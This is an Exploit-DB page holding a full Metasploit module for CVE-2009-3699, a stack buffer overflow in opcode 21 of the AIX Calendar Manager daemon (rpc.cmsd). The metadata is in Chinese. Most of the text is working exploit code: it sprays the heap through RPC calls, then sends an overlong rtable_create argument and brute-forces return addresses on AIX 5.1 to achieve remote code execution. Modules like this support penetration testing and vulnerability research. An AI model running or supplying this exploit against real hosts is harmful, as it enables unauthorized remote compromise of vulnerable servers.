标题: AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 - Buffer Overflow (Metasploit) EDB-ID: 16929 CVE: 2009-3699 类型: DOS 平台: AIX 发布日期: 2010-11-11 漏洞利用脚本: ##
# $Id: rpc_cmsd_opcode21.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::SunRPC
 include Msf::Exploit::Brute

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow vulnerability in opcode 21 handled by
    rpc.cmsd on AIX. By making a request with a long string passed to the first
    argument of the "rtable_create" RPC, a stack based buffer overflow occurs. This
    leads to arbitrary code execution.

    NOTE: Unsuccessful attempts may cause inetd/portmapper to enter a state where
    further attempts are not possible.
   },
   'Author'         =>
    [
     'Rodrigo Rubira Branco (BSDaemon)',
     'jduck',
    ],
   'Version'        => '$Revision: 10998 $',
   'References'     =>
    [
     [ 'CVE', '2009-3699' ],
     [ 'OSVDB', '58726' ],
     [ 'BID', '36615' ],
     [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=825' ],
     [ 'URL', 'http://aix.software.ibm.com/aix/efixes/security/cmsd_advisory.asc' ]
    ],
   'Platform'       => [ 'aix' ],
   'Payload'        =>
    {
     'Space' => 4104,
     'BadChars' => "\x00",
     # The RPC function splits the string by 0x40, watch out!
     # It's not a payload badchar since we're putting the payload elsewhere...
     'DisableNops' => true
    },
   'Targets'        =>
    [
     [
      'IBM AIX Version 5.1',
      {
       'Arch'     => 'ppc',
       'Platform' => 'aix',
       'AIX'      => '5.1',
       'Bruteforce' =>
       {
        'Start' => { 'Ret' => 0x2022dfc8 },
        #worked on ibmoz - 'Start' => { 'Ret' => 0x2022e8c8 },
        'Stop'  => { 'Ret' => 0x202302c8 },
        'Step'  => 600
       }
      }
     ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Oct 07 2009'))

 end

 def brute_exploit(brute_target)

  if not @aixpayload
   datastore['AIX'] = target['AIX']
   @aixpayload = regenerate_payload.encoded
  end

  print_status("Trying to exploit rpc.cmsd with address 0x%x ..." % brute_target['Ret'])

  begin
   if (not sunrpc_create('udp', 100068, 4))
    raise RuntimeError, 'sunrpc_create failed'
   end

   # spray the heap a bit (work around powerpc cache issues)
   buf = make_nops(1024 - @aixpayload.length)
   buf << @aixpayload
   xdr = XDR.encode(buf, buf)
   10.times {
    sunrpc_call(7, xdr, 2)
   }

   #print_status("ATTACH DEBUGGER NOW!"); select(nil,nil,nil,5)

   buf = rand_text_alphanumeric(payload_space)
   buf << [brute_target['Ret']].pack('N')

   xdr = XDR.encode(buf, "")
   sunrpc_authunix('localhost', 0, 0, [])
   sunrpc_call(21, xdr, 2)

   handler(sunrpc_callsock)
   sunrpc_destroy

  rescue Rex::Proto::SunRPC::RPCTimeout
   # print_error('RPCTimeout')
  rescue EOFError
   # print_error('EOFError')
  end
 end

end URL: https://www.exploit-db.com/exploits/16929